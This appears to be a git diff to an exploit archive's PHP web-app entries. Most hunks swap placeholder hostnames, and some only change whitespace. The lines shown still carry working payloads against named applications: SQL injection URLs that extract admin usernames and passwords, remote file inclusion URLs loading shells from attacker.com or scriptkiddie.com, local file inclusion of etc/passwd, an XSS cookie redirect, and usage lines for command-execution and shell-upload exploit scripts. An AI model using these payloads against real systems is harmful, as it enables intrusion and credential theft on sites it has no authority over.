Shouts: TimQ, Gammarayz, Paradox, z6, PunkerX and everyone else at pnode. \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ ::PoC:: -http://www.server/page.php?id=[shell] +http://www.site.com/page.php?id=[shell] ****************************************** ############################## diff --git a/platforms/php/webapps/4211.htm b/platforms/php/webapps/4211.htm index f2567641f..2754f2397 100755 --- a/platforms/php/webapps/4211.htm +++ b/platforms/php/webapps/4211.htm @@ -14,7 +14,7 @@ cookies Manipulation + Cross Site Scripting : ========================================================================= xss: ---- -http://server/jblog/index.php?id=">[xss Here]&pcomm=com +http://site.com/jblog/index.php?id=">[xss Here]&pcomm=com cookies Manipulation: -------------------- @@ -28,7 +28,7 @@ also we can do this : or : -<meta http-equiv='Set-cookie' content='theme=<body+onload=document.location="http://Bad.server/">'> +<meta http-equiv='Set-cookie' content='theme=<body+onload=document.location="http://Bad.site.com/">'> This is a small exemple of Inject Cookie Xploit (Cookie Manipulation) --------------------------------------------------------------------------- @@ -86,7 +86,7 @@ function JBlogxpl() { --------------------------------------------------------------------------------------------</p> <form name="xploit" method="POST" onSubmit="JBlogxpl();"> Target -> Http:// - <input type="text" name="victim" value="www.server/Path/" size="44"> + <input type="text" name="victim" value="www.Site.com/Path/" size="44"> <p> Username.......-> <input type="text" name="mot" value="ZaZ" size="30"> (your password will be by default: <i>"admin"</i>)</p> diff --git a/platforms/php/webapps/4213.txt b/platforms/php/webapps/4213.txt index c1b0c4454..dbc3fac12 100755 --- a/platforms/php/webapps/4213.txt +++ b/platforms/php/webapps/4213.txt @@ -21,7 +21,7 @@ #"Powered by bwired" inurl:?newsID= # #Spl0it ######################################################################################### -#http://vicserver/[pathtobwired]/index.php?newsID=-99%20union%20all%20select 1, 2,concat(user_login,0x20,0x3a,0x20,user_passwd),4, 5, 6, 7, 8, 9, 10, 11%20from%20authuser +#http://vicsite.com/[pathtobwired]/index.php?newsID=-99%20union%20all%20select 1, 2,concat(user_login,0x20,0x3a,0x20,user_passwd),4, 5, 6, 7, 8, 9, 10, 11%20from%20authuser # #vuln discovered by ############################################################################### #MurderSkillz diff --git a/platforms/php/webapps/4220.pl b/platforms/php/webapps/4220.pl index b2a85750e..5939adfd8 100755 --- a/platforms/php/webapps/4220.pl +++ b/platforms/php/webapps/4220.pl @@ -3,7 +3,7 @@ # Entertainment CMS Remote Command Execution Exploit # Download: http://rapidshare.com/files/39640099/enter-cms.rar # -# Exploit: http://server/[path]/custom.php?pagename=[Local File Inclusion]; +# Exploit: http://site.com/[path]/custom.php?pagename=[Local File Inclusion]; # Example: http://multimedia.mydlstore.net/custom.php?pagename=teeeeeeeeeeee # # RST WAS MOVED TO RSTZONE.ORG ! diff --git a/platforms/php/webapps/4238.txt b/platforms/php/webapps/4238.txt index f412145a0..68f5f0080 100755 --- a/platforms/php/webapps/4238.txt +++ b/platforms/php/webapps/4238.txt @@ -13,7 +13,7 @@ DESCRIPTION: pull out admin login details EXPLOITS: -http://server/directory.php?ax=list&sub=7&cat_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13/**/FROM/**/admin/* +http://server.com/directory.php?ax=list&sub=7&cat_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13/**/FROM/**/admin/* NOTE/TIP: diff --git a/platforms/php/webapps/4241.txt b/platforms/php/webapps/4241.txt index 393938d14..4e456fac8 100755 --- a/platforms/php/webapps/4241.txt +++ b/platforms/php/webapps/4241.txt @@ -14,8 +14,8 @@ pull out admin/users login credentials EXPLOITS: -http://server/category.php?cat=-1/**/UNION/**/ALL/**/SELECT/**/1,concat(username,0x3a,password),3,4,5/**/FROM/**/admin/* -http://server/category.php?cat=-1/**/UNION/**/ALL/**/SELECT/**/1,concat(username,0x3a,password),3,4,5/**/FROM/**/users/* +http://server.com/category.php?cat=-1/**/UNION/**/ALL/**/SELECT/**/1,concat(username,0x3a,password),3,4,5/**/FROM/**/admin/* +http://server.com/category.php?cat=-1/**/UNION/**/ALL/**/SELECT/**/1,concat(username,0x3a,password),3,4,5/**/FROM/**/users/* NOTE/TIP: diff --git a/platforms/php/webapps/4265.txt b/platforms/php/webapps/4265.txt index ad5fd0b10..ec24d854f 100755 --- a/platforms/php/webapps/4265.txt +++ b/platforms/php/webapps/4265.txt @@ -14,8 +14,8 @@ pull out users and admins login information EXPLOITS: -http://server/Script_Dir/directory.php?cat=-1/**/UNION/**/ALL%20SELECT/**/1,2,3,4,5,6,7,concat(username,0x3a,password),9,10,11,12,13,14/**/FROM/**/admin/* -http://server/Script_Dir/directory.php?cat=-1/**/UNION/**/ALL%20SELECT/**/1,2,3,4,5,6,7,concat(username,0x3a,password),9,10,11,12,13,14/**/FROM/**/users/* +http://server.com/Script_Dir/directory.php?cat=-1/**/UNION/**/ALL%20SELECT/**/1,2,3,4,5,6,7,concat(username,0x3a,password),9,10,11,12,13,14/**/FROM/**/admin/* +http://server.com/Script_Dir/directory.php?cat=-1/**/UNION/**/ALL%20SELECT/**/1,2,3,4,5,6,7,concat(username,0x3a,password),9,10,11,12,13,14/**/FROM/**/users/* NOTE/TIP: diff --git a/platforms/php/webapps/4267.txt b/platforms/php/webapps/4267.txt index 250502773..f0ef57c23 100755 --- a/platforms/php/webapps/4267.txt +++ b/platforms/php/webapps/4267.txt @@ -46,7 +46,7 @@ Successful exploitation requires that "register_globals" is enabled. Poc/Exploit: ~~~~~~~~~ -http://server/[PhpHostBot-path]/order/login.php?svr_rootscript=http://attacker.com/evil? +http://www.target.com/[PhpHostBot-path]/order/login.php?svr_rootscript=http://attacker.com/evil? Google Dork: ~~~~~~~~~~ diff --git a/platforms/php/webapps/4268.txt b/platforms/php/webapps/4268.txt index ad61d3db0..0147940af 100755 --- a/platforms/php/webapps/4268.txt +++ b/platforms/php/webapps/4268.txt @@ -63,7 +63,7 @@ __________?????______??????_________________________ # #BUG1:admin/inc/change_action.php?format_menue= # -#Example1:http://server/path/admin/inc/change_action.php?format_menue=[[Sh3LLScript]] +#Example1:http://site.com/path/admin/inc/change_action.php?format_menue=[[Sh3LLScript]] # ############################################################################################## ############################################################################################## diff --git a/platforms/php/webapps/4269.txt b/platforms/php/webapps/4269.txt index fcfe9d647..e9fb92d71 100755 --- a/platforms/php/webapps/4269.txt +++ b/platforms/php/webapps/4269.txt @@ -59,7 +59,7 @@ CODE # #BUG1:config.php?path_to_root # -#Example1:http://server/path/config.php?path_to_root=[[Sh3LLScript]] +#Example1:http://site.com/path/config.php?path_to_root=[[Sh3LLScript]] # ############################################################################################## # diff --git a/platforms/php/webapps/4284.txt b/platforms/php/webapps/4284.txt index dbae9a823..72c737a54 100755 --- a/platforms/php/webapps/4284.txt +++ b/platforms/php/webapps/4284.txt @@ -14,7 +14,7 @@ pull user details from the database, returns multiple data :D EXPLOITS: -http://server/Script_Dir/category.php?cat=-1/**/UNION/**/ALL/**/SELECT/**/1,CONCAT(username,0x3a,password),3,4,5/**/FROM/**/users/* +http://server.com/Script_Dir/category.php?cat=-1/**/UNION/**/ALL/**/SELECT/**/1,CONCAT(username,0x3a,password),3,4,5/**/FROM/**/users/* NOTE/TIP: diff --git a/platforms/php/webapps/4317.txt b/platforms/php/webapps/4317.txt index f9bde1b36..1fc4514ed 100755 --- a/platforms/php/webapps/4317.txt +++ b/platforms/php/webapps/4317.txt @@ -1,4 +1,4 @@ --°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-° + -°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-° 2532|Gigs 1.2.1 (activateuser.php) Local File Inclusion Vulnerability diff --git a/platforms/php/webapps/4320.txt b/platforms/php/webapps/4320.txt index 2a34d479b..fd4fea880 100755 --- a/platforms/php/webapps/4320.txt +++ b/platforms/php/webapps/4320.txt @@ -18,7 +18,7 @@ if ($start) { #exploit: -http://www.server/admin/system/include.php?skindir=[evilCode] -http://www.server/admin/system/include.php?start=1&skindir=[evilCode] +http://www.site.com/admin/system/include.php?skindir=[evilCode] +http://www.site.com/admin/system/include.php?start=1&skindir=[evilCode] # milw0rm.com [2007-08-27] diff --git a/platforms/php/webapps/4329.txt b/platforms/php/webapps/4329.txt index acc84719a..82b42a3d0 100755 --- a/platforms/php/webapps/4329.txt +++ b/platforms/php/webapps/4329.txt @@ -31,7 +31,7 @@ $result = mysql_query($sql); Exploit : ============================================================================================================================================================================================ -http://server/[micro_cms]/cms/revert-content.php?type=newest&id=1%22%20UNION%20ALL%20SELECT%20null,null,SUBSTRING(administrators_pass,1,16),null,null%20FROM%20microcms_administrators/* +http://site.com/[micro_cms]/cms/revert-content.php?type=newest&id=1%22%20UNION%20ALL%20SELECT%20null,null,SUBSTRING(administrators_pass,1,16),null,null%20FROM%20microcms_administrators/* ============================================================================================================================================================================================ diff --git a/platforms/php/webapps/4332.txt b/platforms/php/webapps/4332.txt index 61f19f4e4..ce7bf5c49 100755 --- a/platforms/php/webapps/4332.txt +++ b/platforms/php/webapps/4332.txt @@ -1,4 +1,4 @@ -\#'#/ + \#'#/ (-.-) --------------------oOO---(_)---OOo-------------------- | VWar <= v1.5.0 R15 (mvcw.php) Remote File Inclusion | diff --git a/platforms/php/webapps/4333.txt b/platforms/php/webapps/4333.txt index f47dc4327..9421d4518 100755 --- a/platforms/php/webapps/4333.txt +++ b/platforms/php/webapps/4333.txt @@ -1,4 +1,4 @@ -\#'#/ + \#'#/ (-.-) --------------------------oOO---(_)---OOo------------------------- | PHPNuke-Clan <= v4.2.0 (mvcw_conver.php) Remote File Inclusion | diff --git a/platforms/php/webapps/4336.txt b/platforms/php/webapps/4336.txt index 6a8fc6a16..b6a6fd6a7 100755 --- a/platforms/php/webapps/4336.txt +++ b/platforms/php/webapps/4336.txt @@ -15,7 +15,7 @@ * * * -* Exploit Code: http://www.server/path/xGB.php?act=admin&do=edit +* Exploit Code: http://www.site.com/path/xGB.php?act=admin&do=edit * * * diff --git a/platforms/php/webapps/4342.txt b/platforms/php/webapps/4342.txt index 97953aec2..205b6bb61 100755 --- a/platforms/php/webapps/4342.txt +++ b/platforms/php/webapps/4342.txt @@ -28,7 +28,7 @@ if($_GET['do'] == 'newspost') Exploit : ============================================================================================================================================================================================ -http://www.server/[nmdeluxe]/index.php?do=newspost&id=-1%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,concat(username,0x3a,password)%20FROM%20nmd_user/* +http://www.site.com/[nmdeluxe]/index.php?do=newspost&id=-1%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,concat(username,0x3a,password)%20FROM%20nmd_user/* ============================================================================================================================================================================================ diff --git a/platforms/php/webapps/4378.htm b/platforms/php/webapps/4378.htm index 8ccb97449..7edd86e5d 100755 --- a/platforms/php/webapps/4378.htm +++ b/platforms/php/webapps/4378.htm @@ -41,7 +41,7 @@ _______________________________________________________ <html> <body onload="document.myform.submit()"> -<form name="myform" action="http://www.server/[fuzzylime]/code/ +<form name="myform" action="http://www.site.com/[fuzzylime]/code/ getgalldata.php" method="post"> <input name="p" type="text" size="30" value="../../../../../../../../ etc/passwd%00" /> diff --git a/platforms/php/webapps/4380.txt b/platforms/php/webapps/4380.txt index a95696d95..064f33f7a 100755 --- a/platforms/php/webapps/4380.txt +++ b/platforms/php/webapps/4380.txt @@ -1,4 +1,4 @@ -*****************************************QTRinux************************************** + *****************************************QTRinux************************************** | Sisfo Kampus 2006 (blanko.preview.php) Local File Inclusion Vulnerability | Discovered by QTRinux| www.root-qtr.com| Qatar Security t34m | Vendor: http://www.sisfokampus.net/ diff --git a/platforms/php/webapps/4381.txt b/platforms/php/webapps/4381.txt index 22fafade4..e5d901291 100755 --- a/platforms/php/webapps/4381.txt +++ b/platforms/php/webapps/4381.txt @@ -20,7 +20,7 @@ :: ::$doc_root is not defined :: -::http://server/modules/addons/plugin.php?doc_root=[vuln] +::http://site.com/modules/addons/plugin.php?doc_root=[vuln] :: :: :: we also found countless xss in there diff --git a/platforms/php/webapps/4396.txt b/platforms/php/webapps/4396.txt index d1d95d364..226843fb9 100755 --- a/platforms/php/webapps/4396.txt +++ b/platforms/php/webapps/4396.txt @@ -57,12 +57,12 @@ if (!@include $xcart_dir."/smarty.php") { =-=-=-=-= () ExPloit () =-=-=-=-= =-=-=-=-= () ExPloit () =-=-=-=-= -## http://server/[xcart-path]/config.php?xcart_dir=http://urhost/[inject]? -## http://server/[xcart-path]/prepare.php?xcart_dir=http://urhost/[inject]? -## http://server/[xcart-path]/smarty.php?xcart_dir=http://urhost/[inject]? -## http://server/[xcart-path]/customer/product.php?xcart_dir=http://urhost/[inject]? -## http://server/[xcart-path]/provider/auth.php?xcart_dir=http://urhost/[inject]? -## http://server/[xcart-path]/admin/auth.php?xcart_dir=http://urhost/[inject]? +## http://www.target.com/[xcart-path]/config.php?xcart_dir=http://urhost/[inject]? +## http://www.target.com/[xcart-path]/prepare.php?xcart_dir=http://urhost/[inject]? +## http://www.target.com/[xcart-path]/smarty.php?xcart_dir=http://urhost/[inject]? +## http://www.target.com/[xcart-path]/customer/product.php?xcart_dir=http://urhost/[inject]? +## http://www.target.com/[xcart-path]/provider/auth.php?xcart_dir=http://urhost/[inject]? +## http://www.target.com/[xcart-path]/admin/auth.php?xcart_dir=http://urhost/[inject]? =================================================================== diff --git a/platforms/php/webapps/4400.txt b/platforms/php/webapps/4400.txt index b81048fdd..ae92a99c1 100755 --- a/platforms/php/webapps/4400.txt +++ b/platforms/php/webapps/4400.txt @@ -14,9 +14,9 @@ http://koogar.alorys-hebergement.com/kwsphp/index.php?mod=downloads&filedl=30&be ## EXPLOITS : -http://server/Path/index.php?mod=jeuxflash&ac=play&id=-1%20union%20select%201,pseudo,3,4,5,6,7,8,9,10%20from%20users%20where%20id=1-- +http://server.com/Path/index.php?mod=jeuxflash&ac=play&id=-1%20union%20select%201,pseudo,3,4,5,6,7,8,9,10%20from%20users%20where%20id=1-- -http://server/Path/index.php?mod=jeuxflash&ac=play&id=-1%20union%20select%201,pass,3,4,5,6,7,8,9,10%20from%20users%20where%20id=1-- +http://server.com/Path/index.php?mod=jeuxflash&ac=play&id=-1%20union%20select%201,pass,3,4,5,6,7,8,9,10%20from%20users%20where%20id=1-- ## Note diff --git a/platforms/php/webapps/4401.txt b/platforms/php/webapps/4401.txt index c9bd77969..9f8a2dd47 100755 --- a/platforms/php/webapps/4401.txt +++ b/platforms/php/webapps/4401.txt @@ -12,7 +12,7 @@ Dork: inurl:"com_joomlaradiov5" Example: -www.server/administrator/components/com_joomlaradiov5/admin.joomlaradiov5.php?mosConfig_live_site=http://scriptkiddie.com/c99haxor.txt? +www.site.com/administrator/components/com_joomlaradiov5/admin.joomlaradiov5.php?mosConfig_live_site=http://scriptkiddie.com/c99haxor.txt? Greets to all Irc.RealWorm.Net #Morgan Users ;) diff --git a/platforms/php/webapps/4410.php b/platforms/php/webapps/4410.php index 4530897b4..664abf495 100755 --- a/platforms/php/webapps/4410.php +++ b/platforms/php/webapps/4410.php @@ -18,7 +18,7 @@ function get_text(){ echo "Gelato SQL Injection exploit -- by s0cratex\n"; echo "-------------------------------------------\n\n"; -echo "Host (server): "; +echo "Host (site.com): "; $host = get_text(); echo "Path (/gelato): "; @@ -49,7 +49,7 @@ echo "\nMD5 Hash: ".$login[2]; Gelato SQL Injection exploit -- by s0cratex ------------------------------------------- -Host (server): gelatocms.it +Host (site.com): gelatocms.it Path (/gelato): / Prefix (gl_ / gel_): gel_ diff --git a/platforms/php/webapps/4419.php b/platforms/php/webapps/4419.php index 8750062af..b74c59bda 100755 --- a/platforms/php/webapps/4419.php +++ b/platforms/php/webapps/4419.php @@ -16,8 +16,8 @@ echo "~~~~~~\n"; echo "php {$argv[0]} [url] [cmd]\n\n"; echo "[url] - target server where Shop-Script FREE is installed\n"; echo "[cmd] - command to execute\n\n"; -echo "e.g. php {$argv[0]} http://server/shop/ \"ls -la\"\n"; -echo " php {$argv[0]} http://shop.server:8080/ \"cat +echo "e.g. php {$argv[0]} http://site.com/shop/ \"ls -la\"\n"; +echo " php {$argv[0]} http://shop.site.com:8080/ \"cat cfg/connect.inc.php\"\n"; die; } diff --git a/platforms/php/webapps/4422.txt b/platforms/php/webapps/4422.txt index 05ec4ef25..94aeb36b8 100755 --- a/platforms/php/webapps/4422.txt +++ b/platforms/php/webapps/4422.txt @@ -13,7 +13,7 @@ ## EXPLOITS : -http://server/Path/index.php?mod=sondages&do=results&id=-1%20union%20select%201,2,3,concat(pseudo,0x3a,pass),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20%20from%20users%20where%20id=1-- +http://server.com/Path/index.php?mod=sondages&do=results&id=-1%20union%20select%201,2,3,concat(pseudo,0x3a,pass),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20%20from%20users%20where%20id=1-- diff --git a/platforms/php/webapps/4439.txt b/platforms/php/webapps/4439.txt index aa680ce66..7a96d601c 100755 --- a/platforms/php/webapps/4439.txt +++ b/platforms/php/webapps/4439.txt @@ -1,4 +1,4 @@ -\\\|/// + \\\|/// \\ - - // Y! Underground Group ( @ @ ) ----oOOo--(_)-oOOo-------------------------------------------------- diff --git a/platforms/php/webapps/4443.txt b/platforms/php/webapps/4443.txt index dd6394ecf..ce326d790 100755 --- a/platforms/php/webapps/4443.txt +++ b/platforms/php/webapps/4443.txt @@ -28,7 +28,7 @@ if(!empty($_GET['cat_id'])) { Exploit (!!!WORK ONLY WITH magic_quotes_gpc = Off!!!): =================================================================================================================== -http://www.server/[path]/index.php?mod=banners&cat_id=-1'%20UNION%20ALL%20SELECT%20null,concat(users_nick,0x3a,users_pwd),null,nu +http://www.site.com/[path]/index.php?mod=banners&cat_id=-1'%20UNION%20ALL%20SELECT%20null,concat(users_nick,0x3a,users_pwd),null,nu ll%20FROM%20cs_users/* =================================================================================================================== diff --git a/platforms/php/webapps/4449.txt b/platforms/php/webapps/4449.txt index ace61999e..700aba212 100755 --- a/platforms/php/webapps/4449.txt +++ b/platforms/php/webapps/4449.txt @@ -30,7 +30,7 @@ $sqltitle = $bdd->readresult($bdd->request('SELECT h_title FROM Exploit (!!!WORK ONLY WITH magic_quotes_gpc = Off!!!): =================================================================================================================== -http://www.server/[path]/?lang=fr&mod=login' UNION ALL SELECT concat(a_login ,0x3a,a_password) FROM pfa_admin/* +http://www.site.com/[path]/?lang=fr&mod=login' UNION ALL SELECT concat(a_login ,0x3a,a_password) FROM pfa_admin/* =================================================================================================================== diff --git a/platforms/php/webapps/4456.txt b/platforms/php/webapps/4456.txt index d91ddae9b..332e203dc 100755 --- a/platforms/php/webapps/4456.txt +++ b/platforms/php/webapps/4456.txt @@ -57,7 +57,7 @@ __________?????______??????_________________________ # #BUG1:login.php?path_to_root # -#Example1:http://server/path/accsess/login.php?path_to_root=[[Sh3LLScript]] +#Example1:http://site.com/path/accsess/login.php?path_to_root=[[Sh3LLScript]] # ############################################################################################## ############################################################################################## @@ -72,7 +72,7 @@ __________?????______??????_________________________ # #BUG2:includes/lang/language.php?path_to_root # -#Example2:http://server/path/includes/lang/language.php?path_to_root=[[Sh3LLScript]] +#Example2:http://site.com/path/includes/lang/language.php?path_to_root=[[Sh3LLScript]] # ############################################################################################## # diff --git a/platforms/php/webapps/4457.txt b/platforms/php/webapps/4457.txt index 2eab33b1e..f042cc590 100755 --- a/platforms/php/webapps/4457.txt +++ b/platforms/php/webapps/4457.txt @@ -9,7 +9,7 @@ # # # # # # -#Injection Adress : http://server/store_info.php?id=999999%20union/**/select/**/0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,admin_name,pwd,18,19,20,21,22/**/from/**/sbclassified_admin/* +#Injection Adress : http://server.com/store_info.php?id=999999%20union/**/select/**/0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,admin_name,pwd,18,19,20,21,22/**/from/**/sbclassified_admin/* # # # # #Our site : Ircrash.com # diff --git a/platforms/php/webapps/4459.txt b/platforms/php/webapps/4459.txt index ba7818958..fad0900e5 100755 --- a/platforms/php/webapps/4459.txt +++ b/platforms/php/webapps/4459.txt @@ -1,4 +1,4 @@ -ActiveKB NX 2.? ( Powered by ActiveKB Knowledgebase Software) (index.php) SQL Injection + ActiveKB NX 2.? ( Powered by ActiveKB Knowledgebase Software) (index.php) SQL Injection Discovered by Luna-Tic and XTErner 19 Years Ukrainian Hackers diff --git a/platforms/php/webapps/4466.php b/platforms/php/webapps/4466.php index ba93e7c57..2e8c2f056 100755 --- a/platforms/php/webapps/4466.php +++ b/platforms/php/webapps/4466.php @@ -16,9 +16,9 @@ echo "php {$argv[0]} [url] [file]\n\n"; echo "[url] - target server where Zomplog is installed\n"; echo "[file] - file to upload (local or remote)\n\n"; echo "examples:\n"; -echo "php {$argv[0]} http://server/ http://evil-server/sh.php\n"; -echo "php {$argv[0]} http://weblog.server:8080/ /root/sh.php\n"; -echo "php {$argv[0]} http://server/zomplog/ sh.php\n"; +echo "php {$argv[0]} http://site.com/ http://evil-site.com/sh.php\n"; +echo "php {$argv[0]} http://weblog.site.com:8080/ /root/sh.php\n"; +echo "php {$argv[0]} http://site.com/zomplog/ sh.php\n"; die; } /** diff --git a/platforms/php/webapps/4472.txt b/platforms/php/webapps/4472.txt index 0da556fe9..896cfc8bd 100755 --- a/platforms/php/webapps/4472.txt +++ b/platforms/php/webapps/4472.txt @@ -1,4 +1,4 @@ -\#'#/ + \#'#/ (-.-) diff --git a/platforms/php/webapps/4473.txt b/platforms/php/webapps/4473.txt index 93214f64d..5ee44e102 100755 --- a/platforms/php/webapps/4473.txt +++ b/platforms/php/webapps/4473.txt @@ -1,4 +1,4 @@ -\#'#/ + \#'#/ (-.-) diff --git a/platforms/php/webapps/4476.txt b/platforms/php/webapps/4476.txt index a96c664b6..0e4612c5e 100755 --- a/platforms/php/webapps/4476.txt +++ b/platforms/php/webapps/4476.txt @@ -55,7 +55,7 @@ __________?????______??????_________________________ # #BUG1:index.php?themesdir # -#Example1:http://server/path/index.php?themesdir=[[Sh3LLScript]] +#Example1:http://site.com/path/index.php?themesdir=[[Sh3LLScript]] # ############################################################################################## diff --git a/platforms/php/webapps/4477.txt b/platforms/php/webapps/4477.txt index 31bcc95d0..f6f67ec2c 100755 --- a/platforms/php/webapps/4477.txt +++ b/platforms/php/webapps/4477.txt @@ -59,7 +59,7 @@ __________?????______??????_________________________ # #BUG1:phpwcms_template/inc_script/frontend_render/navigation/config_HTML_MENU.php?HTML_MENU_DirPath # -#Example1:http://server/path/phpwcms_template/inc_script/frontend_render/navigation/config_HTML_MENU.php?HTML_MENU_DirPath=[[Sh3LLScript]] +#Example1:http://site.com/path/phpwcms_template/inc_script/frontend_render/navigation/config_HTML_MENU.php?HTML_MENU_DirPath=[[Sh3LLScript]] # ############################################################################################## #Vuln Code @@ -73,7 +73,7 @@ __________?????______??????_________________________ # #BUG2:phpwcms_template/inc_script/frontend_render/navigation/config_PHPLM.php?HTML_MENU_DirPath # -#Example2:http://server/path/phpwcms_template/inc_script/frontend_render/navigation/config_PHPLM.php?HTML_MENU_DirPath=[[Sh3LLScript]] +#Example2:http://site.com/path/phpwcms_template/inc_script/frontend_render/navigation/config_PHPLM.php?HTML_MENU_DirPath=[[Sh3LLScript]] # ############################################################################################## diff --git a/platforms/php/webapps/4493.txt b/platforms/php/webapps/4493.txt index b6dec5320..34de321d9 100755 --- a/platforms/php/webapps/4493.txt +++ b/platforms/php/webapps/4493.txt @@ -4,9 +4,9 @@ # Homepage : http://www.skadate.com # Price: 795.00 # Exp : -# http://www.server/member/featured_list.php?view_mode=../../../../file%00 +# http://www.site.com/member/featured_list.php?view_mode=../../../../file%00 # -# http://www.server/member/online_list.php?view_mode=../../../../file%00 +# http://www.site.com/member/online_list.php?view_mode=../../../../file%00 # Open Source Code, [o.0] diff --git a/platforms/php/webapps/4503.txt b/platforms/php/webapps/4503.txt index 1e4424398..df8fb2582 100755 --- a/platforms/php/webapps/4503.txt +++ b/platforms/php/webapps/4503.txt @@ -1,4 +1,4 @@ -\\\|/// + \\\|/// \\ - - // Xmors Underground Group ( @ @ ) ----oOOo--(_)-oOOo-------------------------------------------------- diff --git a/platforms/php/webapps/4504.txt b/platforms/php/webapps/4504.txt index 553031ed0..fd86ea046 100755 --- a/platforms/php/webapps/4504.txt +++ b/platforms/php/webapps/4504.txt @@ -9,11 +9,11 @@ # # # # # # -#Injection Adress : http://server/browsecats.php?cid=[sql cod] # +#Injection Adress : http://site.com/browsecats.php?cid=[sql cod] # #Sql code For see user name : 999999%20union/**/select/**/0,sb_admin_name,2,3/**/from/**/sbjbs_admin/* #Sql code For see Password : 999999%20union/**/select/**/0,sb_pwd,2,3/**/from/**/sbjbs_admin/* # # -#Admin panel for login : http://server/admin/index.php # +#Admin panel for login : http://site.com/admin/index.php # # # #Our site : Ircrash.com # # # diff --git a/platforms/php/webapps/4518.txt b/platforms/php/webapps/4518.txt index f38650b11..c2a65156e 100755 --- a/platforms/php/webapps/4518.txt +++ b/platforms/php/webapps/4518.txt @@ -1,4 +1,4 @@ -\\\|/// + \\\|/// \\ - - // Xmors Underground Group ( @ @ ) ----oOOo--(_)-oOOo-------------------------------------------------- diff --git a/platforms/php/webapps/4519.txt b/platforms/php/webapps/4519.txt index 3552e9b2d..9c9219c9a 100755 --- a/platforms/php/webapps/4519.txt +++ b/platforms/php/webapps/4519.txt @@ -1,4 +1,4 @@ -\\\|/// + \\\|/// \\ - - // Xmors Underground Group ( @ @ ) diff --git a/platforms/php/webapps/4527.txt b/platforms/php/webapps/4527.txt index 9a586d3ca..17ae5d2d4 100755 --- a/platforms/php/webapps/4527.txt +++ b/platforms/php/webapps/4527.txt @@ -9,7 +9,7 @@ # # # # # # -#Injection Adress : http://server/searchresult.php?sbcat_id=[sql code] # +#Injection Adress : http://Site.com/searchresult.php?sbcat_id=[sql code] # #SQL COD : 999999%20union/**/select/**/0,sbadmin_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,sbadmin_pwd,17,18,19,20,21,22/**/from/**/sbrecipe_admin/* # # #Our site : Ircrash.com # diff --git a/platforms/php/webapps/4536.txt b/platforms/php/webapps/4536.txt index 2cc2774f1..7791d4d64 100755 --- a/platforms/php/webapps/4536.txt +++ b/platforms/php/webapps/4536.txt @@ -1,4 +1,4 @@ -______________________________________________________ + ______________________________________________________ | DOOP CMS <=1.3.7 Local File Inclusion | |______________________________________________________| diff --git a/platforms/php/webapps/4539.txt b/platforms/php/webapps/4539.txt index e2c01a762..3eb28a6b7 100755 --- a/platforms/php/webapps/4539.txt +++ b/platforms/php/webapps/4539.txt @@ -9,7 +9,7 @@ # # # # # # -# Injection Adress : http://server/default.asp?islem=1&id=[sql code] # +# Injection Adress : http://site.com/default.asp?islem=1&id=[sql code] # # my COD : -1+union+select+0,1,id,baslik,4,5,6+from+haber # # # # # diff --git a/platforms/php/webapps/4544.txt b/platforms/php/webapps/4544.txt index 10976eb6e..8bf688398 100755 --- a/platforms/php/webapps/4544.txt +++ b/platforms/php/webapps/4544.txt @@ -1,4 +1,4 @@ -\\\|/// + \\\|/// \\ - - // Xmors Underground Group ( @ @ ) ----oOOo--(_)-oOOo-------------------------------------------------- diff --git a/platforms/php/webapps/4545.txt b/platforms/php/webapps/4545.txt index 48eadb9d2..f4730b5a5 100755 --- a/platforms/php/webapps/4545.txt +++ b/platforms/php/webapps/4545.txt @@ -1,4 +1,4 @@ -\\\|/// + \\\|/// \\ - - // Xmors Underground Group ( @ @ ) ----oOOo--(_)-oOOo-------------------------------------------------- diff --git a/platforms/php/webapps/4548.php b/platforms/php/webapps/4548.php index e6d7a32c9..5d6e15525 100755 --- a/platforms/php/webapps/4548.php +++ b/platforms/php/webapps/4548.php @@ -23,8 +23,8 @@ echo "-v - verbose mode\n\n"; echo "tip:\n"; echo "use bigger number of <count> if server is slow\n\n"; echo "examples:\n"; -echo "php {$argv[0]} http://server/vanilla/ -p=forum_ -id=2\n"; -echo "php {$argv[0]} http://forum.server:8080/ -c=400000\n"; +echo "php {$argv[0]} http://site.com/vanilla/ -p=forum_ -id=2\n"; +echo "php {$argv[0]} http://forum.site.com:8080/ -c=400000\n"; die; } /** diff --git a/platforms/php/webapps/4557.txt b/platforms/php/webapps/4557.txt index eb6c341c1..0ec22b018 100755 --- a/platforms/php/webapps/4557.txt +++ b/platforms/php/webapps/4557.txt @@ -1,4 +1,4 @@ -Title: Simple PHP Blog (sphpblog) <= 0.5.1 Multiple Vulnerabilities + Title: Simple PHP Blog (sphpblog) <= 0.5.1 Multiple Vulnerabilities Vendor: http://sourceforge.net/projects/sphpblog/ Advisory: http://acid-root.new.fr/?0:15 diff --git a/platforms/php/webapps/4576.txt b/platforms/php/webapps/4576.txt index 1f0364cbc..e7cba29ee 100755 --- a/platforms/php/webapps/4576.txt +++ b/platforms/php/webapps/4576.txt @@ -20,11 +20,11 @@ Vulnerability in (File.php?id=) -http://webserver/file.php?id=-1+UNION+SELECT+1,2,PASSWORD,4,CONCAT(USERNAME,CHAR(46,116,120,116)),6,7,8+FROM+websiteadmin_admin_users/* +http://website.com/file.php?id=-1+UNION+SELECT+1,2,PASSWORD,4,CONCAT(USERNAME,CHAR(46,116,120,116)),6,7,8+FROM+websiteadmin_admin_users/* -http://webserver/file.php?id=-1+UNION+SELECT+1,2,PASSWORD,4,CONCAT(USERNAME,CHAR(46,116,120,116)),6,7,8+FROM+websiteadmin_ext_jobseekers/* 